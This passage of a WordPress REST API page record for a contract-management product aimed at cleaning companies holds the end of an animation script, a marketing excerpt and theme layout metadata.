easing:\"cubicBezier(.4,0,.2,1)\" }, \"-=160\");\n    if(bars.length){ tl.add({ targets:bars[bars.length-1], scale:[1,1.05,1], duration:1000, easing:\"easeInOutSine\" }); }\n    if(window.IntersectionObserver){\n      var io = new IntersectionObserver(function(entries){\n        entries.forEach(function(e){ if(e.isIntersecting){ var el=e.target; anime({ targets:el, opacity:[0,1], translateY:[26,0], scale:[.985,1], duration:620, easing:\"cubicBezier(.2,.7,.2,1)\" }); io.unobserve(el); } });\n      }, { threshold:0.14, rootMargin:\"0px 0px -6% 0px\" });\n      reveal.forEach(function(el){ io.observe(el); });\n    } else { showAll(); }\n    setTimeout(showAll, 2400);\n  });\n})();\n<\/script>\n","protected":false},"excerpt":{"rendered":"<p>GRIP for cleaning Calculate with precision.Grip on your contracts. The platform that helps cleaning companies stay in control of their client contracts, from precise calculation to demonstrable quality. One place for your contracts, your invoicing and your proof of quality. Book a demo &rarr; One contract, three steps 1 Pre-calculation 2 Financial management 3 Settlement [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":14160,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_acf_changed":false,"inline_featured_image":false,"site-sidebar-layout":"no-sidebar","site-content-layout":"page-builder","ast-site-content-layout":"full-width-container","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"disabled","ast-breadcrumbs-content":"","ast-featured-img":"disabled","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"set","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"class_list":["post-14123","page","type-page","status-publish","hentry"],"acf":[],"_links":{"self":[{"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/pages\/14123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/comments?post=14123"}],"version-history":[{"count":10,"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/pages\/14123\/revisions"}],"predecessor-version":[{"id":19564,"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/pages\/14123\/revisions\/19564"}],"up":[{"embeddable":true,"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/pages\/14160"}],"wp:attachment":[{"href":"https:\/\/grip-contracts.com\/en\/wp-json\/wp\/v2\/media?parent=14123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}